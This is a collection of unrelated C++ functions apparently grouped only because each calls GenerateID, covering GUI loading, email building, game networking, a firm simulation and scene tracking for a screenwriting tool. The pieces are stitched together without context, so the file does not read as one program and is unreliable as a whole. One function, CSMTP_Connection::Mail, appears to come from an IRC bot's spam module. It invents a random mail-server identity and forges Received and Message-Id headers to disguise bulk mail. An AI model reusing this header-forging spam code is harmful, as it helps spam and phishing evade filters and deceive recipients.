void cWindowManager::LoadGuiFromXML(const string_t& sFilename) { breathe::xml::cNode root(sFilename); breathe::xml::cNode::iterator iter(root); if (!iter.IsValid()) return; iter.FindChild("gui"); if (!iter.IsValid()) return; string_t sWindowType; cWindow* pWindow = nullptr; while (iter.IsValid()) { pWindow = nullptr; sWindowType = breathe::string::ToString_t(iter.GetName()); string_t sID; id_t idWindow = 0; if (iter.GetAttribute("id", sID)) { idWindow = GetIDFromStringIdentifier(sID); } else idWindow = GenerateID(); if (sWindowType == TEXT("modelesswindow")) { // pWindow = new cModelessWindow(idWindow, x, y, width, height, caption, pParent); } iter++; }; }
wxString wxEmailMessage::PayLoad() const { wxString payload; payload << "Date: " << wxDateTime::Now().Format() << "\r\n"; payload << "To: " << GetTo() << "\r\n"; payload << "From: " << GetFrom() << "\r\n"; payload << "Cc: \r\n"; payload << "Message-ID: " << GenerateID() << "\r\n"; payload << "Subject: " << GetSubject() << "\r\n"; // Sending attachment payload << "Content-Type: multipart/mixed; boundary=\"" << BOUNDRY_LINE << "\"\r\n"; payload << "Mime-version: 1.0\r\n"; payload << "\r\n"; payload << "This is a multi-part message in MIME format. \r\n"; // Message body if(!GetMessage().IsEmpty()) { payload << "\r\n--" << BOUNDRY_LINE << "\r\n"; payload << "Content-Type: text/plain; charset=\"us-ascii\"\r\n"; payload << "Content-Transfer-Encoding: quoted-printable \r\n"; payload << "\r\n"; payload << GetMessage() << "\r\n"; } if(!m_attachements.IsEmpty()) { for(size_t i = 0; i < m_attachements.size(); ++i) { DoAddAttachment(m_attachements.Item(i), payload); } } payload << "\r\n"; return payload; }
NetworkID NetworkIDGenerator::GetNetworkID( void ) { if (callGenerationCode && IsNetworkIDAuthority()) { GenerateID(); callGenerationCode=false; } return networkID; };
id_t cWindowManager::GetIDFromStringIdentifier(const string_t& sIdentifier) { std::map<string_t, id_t>::iterator iter = stringIdentifierToID.begin(); const std::map<string_t, id_t>::iterator iterEnd = stringIdentifierToID.end(); while (iter != iterEnd) { if (iter->first == sIdentifier) return iter->second; iter++; } return GenerateID(); }
//============================================================================================================= size_t CMenuStrip::AddItem(size_t menuid, const std::string& text) { // TODO: errorhandling popupmenu& pm = submenus[menuid]; pm.ids[pm.items] = GenerateID(); AppendMenuA(pm.handle, MF_STRING, (UINT_PTR)pm.ids[pm.items], text.c_str()); ++pm.items; return pm.items; }
void Synchronize(Command *serverVariable, Command *clientVariable) { if (serverVariable->Type != clientVariable->Type) throw std::runtime_error("Server and client variable types do not match"); SynchronizationBinding binding; binding.ServerVariable = serverVariable; binding.ClientVariable = clientVariable; binding.ID = GenerateID(binding); binding.SynchronizedPeers.reset(); AddBinding(binding); }
//============================================================================================================= size_t CMenuStrip::AddSeparator(size_t menuid) { // TODO: errorhandling popupmenu& pm = submenus[menuid]; pm.ids[pm.items] = GenerateID(); AppendMenuA(pm.handle, MF_SEPARATOR, (UINT_PTR)pm.ids[pm.items], 0); ++pm.items; return pm.items; }
NetworkID NetworkIDObject::GetNetworkID( void ) { RakAssert(networkIDManager); if (callGenerationCode && networkIDManager->IsNetworkIDAuthority()) { GenerateID(); RakAssert(networkID!=UNASSIGNED_NETWORK_ID); callGenerationCode=false; } return networkID; };
Firm::Firm(int initialcapital, std::vector<Individual*> startingemployees) { id = GenerateID(); //bitset of all 0s gType p1 = 0; //bitset of all 1s: (2^64)-1 gType p2; p2.set(); capital = initialcapital; unitsLeft = 100; timeUntraded = 0; employees = startingemployees; companyProduct = getRandomChild(p1,p2); rawProduct = getRandomChild(p1,p2); }
Firm::Firm(int avg_starting_capital, int starting_individuals) { id = GenerateID(); //bitset of all 0s gType p1 = 0; //bitset of all 1s: (2^64)-1 gType p2; p2.set(); //get random bits from each parent to create the child companyProduct = getRandomChild(p1,p2); rawProduct = getRandomChild(p1,p2); capital = getRandomInt(1, 2 * avg_starting_capital); unitsLeft = 100; timeUntraded = 0; for(int i = 0 ; i < starting_individuals; i++) { employees.push_back(new Individual()); } }
void KeyFrame::Load(Simulator *lpSim, CStdXml &oXml) { if(!lpSim) THROW_ERROR(Al_Err_lSimulationNotDefined, Al_Err_strSimulationNotDefined); oXml.IntoElem(); //Into Item Element m_lStartSlice = oXml.GetChildLong("StartSlice"); m_lEndSlice = oXml.GetChildLong("EndSlice"); Std_IsAboveMin((long) -1, m_lStartSlice, TRUE, "StartSlice"); Std_IsAboveMin(m_lStartSlice, m_lEndSlice, TRUE, "EndSlice"); m_iCollectInterval = oXml.GetChildInt("CollectInterval"); Std_IsAboveMin((int) 0, m_iCollectInterval, TRUE, "CollectInterval"); GenerateID(lpSim); oXml.OutOfElem(); //OutOf KeyFrame Element }
bool CSMTP_Connection::Mail(CString sMailFrom, CString sMailFromFull, CString sRcptTo, CString sSubject, CString sData) { CString sReqBuf, sRecvBuf, sHost, sSrcID, sMTA, sOS; init_random(); m_iMTAType=brandom(MTA_TYPE_UNKNOWN, MTA_TYPE_QMAIL); switch(brandom(1,5)) { case 1: sOS.Assign("Debian"); break; case 2: sOS.Assign("RedHat"); break; case 3: sOS.Assign("SuSE"); break; case 4: sOS.Assign("Slackware"); break; case 5: sOS.Assign("FreeBSD"); break; default: sOS.Assign("Unknown"); break; } switch(m_iMTAType) { case MTA_TYPE_UNKNOWN: { CString sVersionHigh, sVersionLow, sNumber; sVersionHigh.Assign(brandom(3, 4)); sVersionLow.Assign(brandom(1, 40)); sMTA.Format("SMTP %s.%s (%s)", sVersionHigh.CStr(), sVersionLow.CStr(), sOS.CStr()); } break; case MTA_TYPE_EXIM: { CString sVersionHigh, sVersionLow, sNumber; sVersionHigh.Assign(brandom(3, 4)); sVersionLow.Assign(brandom(1, 40)); sNumber.Assign(brandom(1, 5)); sMTA.Format("Exim %s.%s #%s (%s)", sVersionHigh.CStr(), sVersionLow.CStr(), sNumber.CStr(), sOS.CStr()); } break; case MTA_TYPE_SENDMAIL: { CString sVersionHigh, sVersionLow, sVersionLow2; sVersionHigh.Assign(brandom(1, 12)); sVersionLow.Assign(brandom(1, 10)); sVersionLow2.Assign(brandom(1, 10)); sMTA.Format("8.%s.%s/8.%s.%s", sVersionHigh.CStr(), sVersionLow.CStr(), sVersionHigh.CStr(), sVersionLow2.CStr()); } break; case MTA_TYPE_QMAIL: { CString sPid; sPid.Assign(brandom(1, 65000)); CString sInvokedBy; int iInvokedBy=brandom(1,3); if(iInvokedBy==1) { sInvokedBy.Assign("alias"); } else if(iInvokedBy==2) { sInvokedBy.Assign("network"); } else if(iInvokedBy==3) { sInvokedBy.Assign("uid 0"); } sMTA.Format("qmail %s invoked by %s", sPid.CStr(), sInvokedBy.CStr()); } break; case MTA_TYPE_GAIA: break; case MTA_TYPE_MSSMTPSVC: break; case MTA_TYPE_MSEXCHANGE: break; case MTA_TYPE_HOTMAILWM: break; case MTA_TYPE_WEBMAIL: break; case MTA_TYPE_POSTFIX: break; case MTA_TYPE_SMTPD: break; case MTA_TYPE_LIST_AMIRC: break; default: #ifdef DBGCONSOLE g_pMainCtrl->m_cConsDbg.Log(7, "CSMTP_Connection(0x%8.8Xh): " "Invalid MTA type selected!\n", this); #endif // DBGCONSOLE Disconnect(); return false; break; } // Generate an ID CString sID=GenerateID(); sSrcID.Assign(sID); // Get local hostname sHost.Assign(g_pMainCtrl->m_cIRC.m_sLocalHost.CStr()); // Send MAIL FROM command sReqBuf.Format("MAIL FROM:<%s>\r\n", sMailFrom.CStr()); m_sServerSocket.Write(sReqBuf.CStr(), sReqBuf.GetLength()); // Receive reply m_sServerSocket.Recv(sRecvBuf.GetBuffer(8192), 8192); if(sRecvBuf.Mid(0, 3).Compare("250")) { // MAIL FROM failed #ifdef DBGCONSOLE g_pMainCtrl->m_cConsDbg.Log(7, "CSMTP_Connection(0x%8.8Xh): " "Server rejected MAIL FROM \"%s\" (\"%s\")!\n", this, sMailFrom.CStr(), sRecvBuf.Token(0, "\r").CStr()); #endif // DBGCONSOLE Disconnect(); return false; } // Send RCPT TO command sReqBuf.Format("RCPT TO:<%s>\r\n", sRcptTo.CStr()); m_sServerSocket.Write(sReqBuf.CStr(), sReqBuf.GetLength()); // Receive reply m_sServerSocket.Recv(sRecvBuf.GetBuffer(8192), 8192); if(sRecvBuf.Mid(0, 3).Compare("250")) { // RCPT TO failed #ifdef DBGCONSOLE g_pMainCtrl->m_cConsDbg.Log(7, "CSMTP_Connection(0x%8.8Xh): " "Server rejected RCTP TO \"%s\" (\"%s\")!\n", this, sRcptTo.CStr(), sRecvBuf.Token(0, "\r").CStr()); #endif // DBGCONSOLE Disconnect(); return false; } // Send DATA command sReqBuf.Format("DATA\r\n"); m_sServerSocket.Write(sReqBuf.CStr(), sReqBuf.GetLength()); // Receive reply m_sServerSocket.Recv(sRecvBuf.GetBuffer(8192), 8192); if(sRecvBuf.Mid(0, 3).Compare("354")) { // DATA failed #ifdef DBGCONSOLE g_pMainCtrl->m_cConsDbg.Log(7, "CSMTP_Connection(0x%8.8Xh): " "Server rejected DATA (\"%s\")!\n", this, sRecvBuf.Token(0, "\r").CStr()); #endif // DBGCONSOLE Disconnect(); return false; } // Get local time time_t tGlobal=time(NULL); char szTimeBuf[4096]; strftime(szTimeBuf, sizeof(szTimeBuf), "%a, %d %b %Y %H:%M:%S GMT", gmtime(&tGlobal)); // Clear buffer sReqBuf.Assign(""); switch(m_iMTAType) { case MTA_TYPE_UNKNOWN: sReqBuf.Append("Received: from "); sReqBuf.Append(sMailFrom.Token(0, "@").CStr()); sReqBuf.Append(" by "); sReqBuf.Append(sHost.CStr()); sReqBuf.Append(" with local\r\n"); if(m_bUseSMTPExt) { // id 1AOkjD-0001RE-00 sReqBuf.Append("\tid "); sReqBuf.Append(sSrcID.Mid(1)); sReqBuf.Append("\r\n"); // for <*****@*****.**>; Tue, 25 Nov 2003 22:28:12 +0100 sReqBuf.Append("\tfor <"); sReqBuf.Append(sRcptTo.CStr()); sReqBuf.Append(">; "); sReqBuf.Append(szTimeBuf); sReqBuf.Append("\r\n"); // Message-Id: <*****@*****.**> sReqBuf.Append("Message-Id: <"); sReqBuf.Append(sSrcID.CStr()); sReqBuf.Append("@"); sReqBuf.Append(sRcptTo.CStr()); sReqBuf.Append(">\r\n"); } break; case MTA_TYPE_EXIM: // Received: from xxxx by xxxxx.xxxxxxx.xxx with local (Exim 3.36 #1 (Debian)) sReqBuf.Append("Received: from "); sReqBuf.Append(sMailFrom.Token(0, "@").CStr()); sReqBuf.Append(" by "); sReqBuf.Append(sHost.CStr()); sReqBuf.Append(" with local ("); sReqBuf.Append(sMTA.CStr()); sReqBuf.Append(")\r\n"); if(m_bUseSMTPExt) { // id 1AOkjD-0001RE-00 sReqBuf.Append("\tid "); sReqBuf.Append(sSrcID.Mid(1)); sReqBuf.Append("\r\n"); // for <*****@*****.**>; Tue, 25 Nov 2003 22:28:12 +0100 sReqBuf.Append("\tfor <"); sReqBuf.Append(sRcptTo.CStr()); sReqBuf.Append(">; "); sReqBuf.Append(szTimeBuf); sReqBuf.Append("\r\n"); // Message-Id: <*****@*****.**> sReqBuf.Append("Message-Id: <"); sReqBuf.Append(sSrcID.CStr()); sReqBuf.Append("@"); sReqBuf.Append(sRcptTo.CStr()); sReqBuf.Append(">\r\n"); } break; case MTA_TYPE_SENDMAIL: // Received: from xxxx by xxxx.xxxxxxx.xxx (8.12.8p1/8.12.6) with local sReqBuf.Append("Received: from "); sReqBuf.Append(sMailFrom.Token(0, "@").CStr()); sReqBuf.Append(" by "); sReqBuf.Append(sHost.CStr()); sReqBuf.Append("(8."); sReqBuf.Append(sMTA.CStr()); sReqBuf.Append(") with local\r\n"); if(m_bUseSMTPExt) { // id 1AOkjD-0001RE-00 sReqBuf.Append("\tid "); sReqBuf.Append(sSrcID.Mid(1)); sReqBuf.Append("\r\n"); // for <*****@*****.**>; Tue, 25 Nov 2003 22:28:12 +0100 sReqBuf.Append("\tfor <"); sReqBuf.Append(sRcptTo.CStr()); sReqBuf.Append(">; "); sReqBuf.Append(szTimeBuf); sReqBuf.Append("\r\n"); // Message-Id: <*****@*****.**> sReqBuf.Append("Message-Id: <"); sReqBuf.Append(sSrcID.CStr()); sReqBuf.Append("@"); sReqBuf.Append(sRcptTo.CStr()); sReqBuf.Append(">\r\n"); } break; case MTA_TYPE_QMAIL: // Received: (qmail 21608 invoked by alias); 17 Jul 2002 14:30:10 -0000 sReqBuf.Append("Received: ("); sReqBuf.Append(sMTA.CStr()); sReqBuf.Append("); "); sReqBuf.Append(szTimeBuf); sReqBuf.Append("\r\n"); break; case MTA_TYPE_GAIA: break; case MTA_TYPE_MSSMTPSVC: break; case MTA_TYPE_MSEXCHANGE: break; case MTA_TYPE_HOTMAILWM: break; case MTA_TYPE_WEBMAIL: break; case MTA_TYPE_POSTFIX: break; case MTA_TYPE_SMTPD: break; case MTA_TYPE_LIST_AMIRC: break; } // From: xxxx <*****@*****.**> sReqBuf.Append("From: "); sReqBuf.Append(sMailFromFull.CStr()); sReqBuf.Append(" <"); sReqBuf.Append(sMailFrom.CStr()); sReqBuf.Append(">\r\n"); // To: [email protected] sReqBuf.Append("To: "); sReqBuf.Append(sRcptTo.CStr()); sReqBuf.Append("\r\n"); // Subject: bla sReqBuf.Append("Subject: "); sReqBuf.Append(sSubject.CStr()); sReqBuf.Append("\r\n"); // Date: Tue, 25 Nov 2003 22:28:12 +0100 sReqBuf.Append("Date: "); sReqBuf.Append(szTimeBuf); sReqBuf.Append("\r\n"); // MIME-Version: 1.0 sReqBuf.Append("MIME-Version: 1.0\r\n"); // if(g_cSMTPLogic.spam_htmlemail.bValue) { // Content-Type: text/html; charset=us-ascii sReqBuf.Append("Content-Type: text/html; charset=us-ascii\r\n"); // } else { // // Content-Type: text/plain; charset=us-ascii // sReqBuf.Append("Content-Type: text/plain; charset=us-ascii\r\n"); // } sReqBuf.Append("Content-Type: text/html; charset=us-ascii\r\n"); // Content-Transfer-Encoding: 7bit sReqBuf.Append("Content-Transfer-Encoding: 7bit\r\n"); // // <data> // . // if(g_cSMTPLogic.spam_htmlemail.bValue) { sReqBuf.Append("\r\n\r\n"); // } else { // sReqBuf.Append("\r\n"); // } sReqBuf.Append("\r\n\r\n"); sReqBuf.Append(sData.CStr()); sReqBuf.Append("\r\n.\r\n"); // Send data m_sServerSocket.Write(sReqBuf.CStr(), sReqBuf.GetLength()); // Receive reply if(!m_sServerSocket.Recv(sRecvBuf.GetBuffer(8192), 8192)) { // Connection reset #ifdef DBGCONSOLE g_pMainCtrl->m_cConsDbg.Log(7, "CSMTP_Connection(0x%8.8Xh): " "Connection reset!\n", this); #endif // DBGCONSOLE Disconnect(); return false; } // Check if data was accepted if(sRecvBuf.Mid(0, 3).Compare("250")) { // Data not accepted #ifdef DBGCONSOLE g_pMainCtrl->m_cConsDbg.Log(7, "CSMTP_Connection(0x%8.8Xh): " "Server rejected MAIL FROM \"%s\", RCPT TO \"%s\"!\n", this, sMailFrom.CStr(), sRcptTo.CStr()); #endif // DBGCONSOLE Disconnect(); return false; } return true; }
NxDeviceDmx::NxDeviceDmx() { GenerateID(); mDevice = new NxDeviceDmxUtil(); }
CRef<CSeq_id> CSeqIdGenerator::GenerateID(const bool advance) { return GenerateID("", advance); }
CRef<CSeq_id> CFastaIdHandler::GenerateID(bool unique_id) { return GenerateID("", unique_id); }
int NetworkManager::ReceiveData() { bufMutex.lock(); //try to receive some data, this is a blocking call if ((recv_len = recvfrom(s, buf, BUFLEN, 0, (struct sockaddr *) &si_other, &slen)) == SOCKET_ERROR) { printf("recvfrom() failed with error code : %d", WSAGetLastError()); return EXIT_FAILURE; } //print details of the client/peer and the data received printf("Received packet from %s:%d\n", inet_ntoa(si_other.sin_addr), ntohs(si_other.sin_port)); printf("Data: %s\n", buf); std::cout << "ID on receive: " << head->id << std::endl; if (head && head->cmd == PLAYER_DISCONNECT) { FreeID(head->id); game->SetShipAlive(head->id, false); } else if (head && head->cmd == PLAYER_CONNECT) { head->id = GenerateID(*((ObjType*)(buf+sizeof(Header)))); game->SetShipAlive(head->id, true); std::cout << "Generated ID: " << (int)buf[0] << std::endl; if (head->id != -1) { SendData((struct sockaddr*) &si_other); } else { printf("Rejecting client\n"); } //DataUpdate* data = (DataUpdate*)(buf + sizeof(Header)); // //if (data) //{ // data->data.id = head->id; // data->data.type = PLAYER_SHIP; // objs.push_back(data->data); //} } std::cout << "There is an ID: " << head->id << "\n" << std::endl; if (head->cmd == PLAYER_COMMAND) { PlayerInput* cmd = (PlayerInput*)(buf + sizeof(Header)); if (*cmd == FIRE) { BulletData* bullet = (BulletData*)(buf + sizeof(Header) + sizeof(PlayerInput)); game->FireBullet(bullet->xPos, bullet->yPos, bullet->xVel, bullet->yVel); } else if (*cmd == LEFT) { //TODO: THINK ABOUT SENDING THE DATA IN INSTEAD OF DOING IT IN THE METHOD UpdateData(head->id, -1, 0, -5); } else if (*cmd == RIGHT) { //TODO: THINK ABOUT SENDING THE DATA IN INSTEAD OF DOING IT IN THE METHOD UpdateData(head->id, 1, 0, 5); } else if (*cmd == UP) { //TODO: THINK ABOUT SENDING THE DATA IN INSTEAD OF DOING IT IN THE METHOD UpdateData(head->id, 0, 1, 0); } else if (*cmd == INPUT_NONE) { UpdateData(head->id, 0, 0, 0); } else { printf("Client sent an illegal command %d\n", *cmd); } } //if (head->cmd == PLAYER_COMMAND) //{ // PlayerDir* dir = (PlayerDir*)(buf + sizeof(Header)); // // if (dir) // { // bool foundObj = false; // for (int i = 0; i < objs.size(); i++) // { // if (objs[i].id == head->id) // { // foundObj = true; // if (*dir == LEFT) // { // objs[i].pos.x -= 5; // } // else if (*dir == RIGHT) // { // objs[i].pos.x += 5; // } // else if (*dir == UP) // { // objs[i].pos.y += 5; // } // else // { // objs[i].pos.y -= 5; // } // // break; // } // } // // if (!foundObj) // { // ObjData data = ObjData(); // data.pos = glm::vec2(0, 0); // data.rot = 0; // data.type = PLAYER_SHIP; // data.id = head->id; // objs.push_back(data); // } // } //} bufMutex.unlock(); return EXIT_SUCCESS; }
ResourceNode::ResourceNode() { //when the resource is created, automatically generate an ID ID = GenerateID(); type = UnknownType; }
OpenNeuronCLBase::OpenNeuronCLBase(void) : m_iID(0) { m_iID = GenerateID(); }
NS_IMETHODIMP nsSceneTracker::Update () { nsCOMPtr<nsIDOMXPathEvaluator> xpe = do_CreateInstance( "@mozilla.org/dom/xpath-evaluator;1"); NS_NAMED_LITERAL_STRING(str, "/html/body/p[@class='sceneheading']"); nsCOMPtr<nsIDOMXPathResult> result; nsresult rv = xpe->Evaluate(str, mScript, nsnull, nsIDOMXPathResult::ORDERED_NODE_SNAPSHOT_TYPE, nsnull, getter_AddRefs(result)); NS_ENSURE_SUCCESS(rv, rv); PRUint32 length; rv = result->GetSnapshotLength(&length); NS_ENSURE_SUCCESS(rv, rv); nsStringHashSet seenIDs; seenIDs.Init(length); rv = CheckNumberingScheme(); NS_ENSURE_SUCCESS(rv, rv); PRBool orderModified = PR_FALSE; nsTArray<Scene_SceneEntry> scenes; // Cache the associated resources, or everything goes screwy when // we move scenes around, since they are temporarily removed from // the scene list (causing SceneForSceneID to fail). nsCOMArray<nsIRDFResource> scenereslist(length); PRInt32 totalScenes = 0; PRInt32 scriptRevision = 0; mEditor->GetRevisionNumber(&scriptRevision); for (PRUint32 i = 0; i < length; ++i) { nsCOMPtr<nsIDOMNode> item; rv = result->SnapshotItem(i, getter_AddRefs(item)); if (NS_FAILED(rv) || ! item) continue; nsCOMPtr<nsIDOMElement> node(do_QueryInterface(item)); if (! node) continue; PRBool hasAttr = PR_FALSE; nsString nodeID; node->HasAttribute(NS_LITERAL_STRING("id"), &hasAttr); if (hasAttr) node->GetAttribute(NS_LITERAL_STRING("id"), nodeID); PRBool needsNewID = nodeID.IsEmpty() || seenIDs.Contains(nodeID); PRBool needsNewSceneNumber = needsNewID; /* * Check if the scene number needs reassignment, based on any of the * following conditions being met: * * 1. The scene has an invalid ID (no ID, or a duplicate ID). * 2. The scene does not have a scene number. * 3. The scene number cannot be parsed. * 4. The scene number is not seamless with the prior one, as defined * by nsSceneNumberService::NumbersAreSeamless. * * When a scene number is incorrect, it needs to be reassigned, * regardless of whether or not the scene is locked. */ if (! needsNewSceneNumber) { nsAutoString sceneNumberStr; node->GetAttribute(NS_LITERAL_STRING("scenenumber"), sceneNumberStr); // No scene number is automatically a "wrong" scene number if (sceneNumberStr.IsEmpty()) { needsNewSceneNumber = PR_TRUE; } else { PRUint32 sceneNumber[DEFAULT_MAX_SCENE_DEPTH]; PRUint32 sceneNumberLength = DEFAULT_MAX_SCENE_DEPTH; nsAutoString prevNumberStr; PRUint32 prevNumber[DEFAULT_MAX_SCENE_DEPTH]; PRUint32 prevNumberLength = DEFAULT_MAX_SCENE_DEPTH; // Since this iterates through all the scenes in the script, // we can safely assume all prior scenes are numbered. nsCOMPtr<nsIDOMHTMLParagraphElement> prevScene; GetPriorScene(node, getter_AddRefs(prevScene)); if (prevScene) prevScene->GetAttribute(NS_LITERAL_STRING("scenenumber"), prevNumberStr); if (NS_FAILED(ParseSceneNumber(sceneNumberStr, &sceneNumberLength, sceneNumber))) { needsNewSceneNumber = PR_TRUE; } else if (! prevScene) { if (sceneNumberLength > 1 || sceneNumber[0] != 1) { needsNewSceneNumber = PR_TRUE; } } else if (! prevNumberStr.IsEmpty() && NS_SUCCEEDED(ParseSceneNumber(prevNumberStr, &prevNumberLength, prevNumber))) { PRBool seamless = PR_FALSE; mNumberSvc->NumbersAreSeamless(prevNumber, prevNumberLength, sceneNumber, sceneNumberLength, &seamless); if (! seamless) { needsNewSceneNumber = PR_TRUE; } } } } if (needsNewID || needsNewSceneNumber) { if (needsNewID) { nsCString genid; GenerateID(genid); CopyASCIItoUTF16(genid, nodeID); node->SetAttribute(NS_LITERAL_STRING("id"), nodeID); } // I believe now's a good time to try assigning it a scene number, // on the assumption if its ID changed, it probably doesn't have // a valid scene number either. nsCOMPtr<nsIDOMHTMLParagraphElement> scene = do_QueryInterface(node); PRBool propagateChanges = PR_TRUE; while (propagateChanges && scene) { // FIXME: If this is being called as a result of a false result // from SceneNumbersAreSeamless, we end up with a useless result // that gradually propagates errors. nsresult rv = AssignDefaultSceneNumber(scene, &propagateChanges); if (NS_FAILED(rv)) { printf("*** AssignDefaultSceneNumber failed: %x\n", rv); break; } nsCOMPtr<nsIDOMHTMLParagraphElement> para = scene; rv = GetNextScene(para, getter_AddRefs(scene)); if (NS_FAILED(rv)) break; } } seenIDs.Put(nodeID); nsString heading; StringifyNode(node, heading); ToUpperCase(heading); ++totalScenes; scenes.AppendElement(Scene_SceneEntry(nodeID, heading)); nsCOMPtr<nsIRDFResource> sceneres; SceneForSceneID(nodeID, getter_AddRefs(sceneres)); scenereslist.AppendObject(sceneres); } nsCOMPtr<nsIRDFContainerUtils> cu = do_GetService( "@mozilla.org/rdf/container-utils;1"); nsCOMPtr<nsIRDFResource> titlearc; nsCOMPtr<nsIRDFResource> sceneidarc; nsCOMPtr<nsIRDFResource> actidarc; nsCOMPtr<nsIRDFResource> intextarc; nsCOMPtr<nsIRDFResource> settingarc; nsCOMPtr<nsIRDFResource> daynightarc; nsCOMPtr<nsIRDFResource> locationarc; mRDFSvc->GetResource( NS_LITERAL_CSTRING("http://purl.org/dc/elements/1.1/title"), getter_AddRefs(titlearc)); mRDFSvc->GetResource( NS_LITERAL_CSTRING("http://celtx.com/NS/v1/sceneid"), getter_AddRefs(sceneidarc)); mRDFSvc->GetResource( NS_LITERAL_CSTRING("http://celtx.com/NS/v1/actid"), getter_AddRefs(actidarc)); mRDFSvc->GetResource( NS_LITERAL_CSTRING("http://celtx.com/NS/v1/intext"), getter_AddRefs(intextarc)); mRDFSvc->GetResource( NS_LITERAL_CSTRING("http://celtx.com/NS/v1/setting"), getter_AddRefs(settingarc)); mRDFSvc->GetResource( NS_LITERAL_CSTRING("http://celtx.com/NS/v1/daynight"), getter_AddRefs(daynightarc)); mRDFSvc->GetResource( NS_LITERAL_CSTRING("http://celtx.com/NS/v1/location"), getter_AddRefs(locationarc)); nsCOMPtr<nsIRDFResource> scenesRes; mScenes->GetResource(getter_AddRefs(scenesRes)); for (PRUint32 i = 0; i < scenes.Length(); ++i) { const Scene_SceneEntry& sceneEntry = scenes[i]; // Ensure a corresponding resource exists nsCOMPtr<nsIRDFResource> sceneres; // rv = SceneForSceneID(sceneEntry.id, getter_AddRefs(sceneres)); rv = NS_OK; sceneres = scenereslist[i]; if (NS_FAILED(rv) || ! sceneres) { nsCString mintedURI(NS_LITERAL_CSTRING("http://celtx.com/res/")); nsCString genid; GenerateID(genid); mintedURI.Append(genid); mRDFSvc->GetResource(mintedURI, getter_AddRefs(sceneres)); } // Put it into the correct place in the scene list nsCOMPtr<nsIRDFResource> rdfordarc; cu->IndexToOrdinalResource(i + 1, getter_AddRefs(rdfordarc)); nsIRDFNode* curscene; mDS->GetTarget(scenesRes, rdfordarc, PR_TRUE, &curscene); if (curscene) { PRBool equal = PR_FALSE; curscene->EqualsNode(sceneres, &equal); if (! equal) { if (! orderModified) { orderModified = PR_TRUE; mDS->BeginUpdateBatch(); } nsCOMPtr<nsIRDFNode> removed; mScenes->RemoveElementAt(i + 1, PR_FALSE, getter_AddRefs(removed)); mScenes->InsertElementAt(sceneres, i + 1, PR_FALSE); } NS_RELEASE(curscene); } else { if (! orderModified) { orderModified = PR_TRUE; mDS->BeginUpdateBatch(); } mScenes->AppendElement(sceneres); } // Set its fields SetRDFString(mDS, sceneres, sceneidarc, sceneEntry.id); SetRDFString(mDS, sceneres, titlearc, sceneEntry.heading); nsString intext; nsString setting; nsString daynight; SplitHeading(sceneEntry.heading, intext, setting, daynight); SetRDFString(mDS, sceneres, intextarc, intext); SetRDFString(mDS, sceneres, settingarc, setting); SetRDFString(mDS, sceneres, daynightarc, daynight); nsString location; GetRDFString(mDS, sceneres, locationarc, location); if (location.IsEmpty()) SetRDFString(mDS, sceneres, locationarc, NS_LITERAL_STRING(" ")); } UpdateAllSceneNumberLiterals(); // Truncate any superfluous items within the scene list PRInt32 sceneCount = 0; mScenes->GetCount(&sceneCount); nsCOMPtr<nsIRDFNode> removed; while (sceneCount > totalScenes) { if (! orderModified) { orderModified = PR_TRUE; mDS->BeginUpdateBatch(); } mScenes->RemoveElementAt(sceneCount--, PR_TRUE, getter_AddRefs(removed)); } if (orderModified) { mDS->EndUpdateBatch(); NotifySceneListChanged(); } return NS_OK; }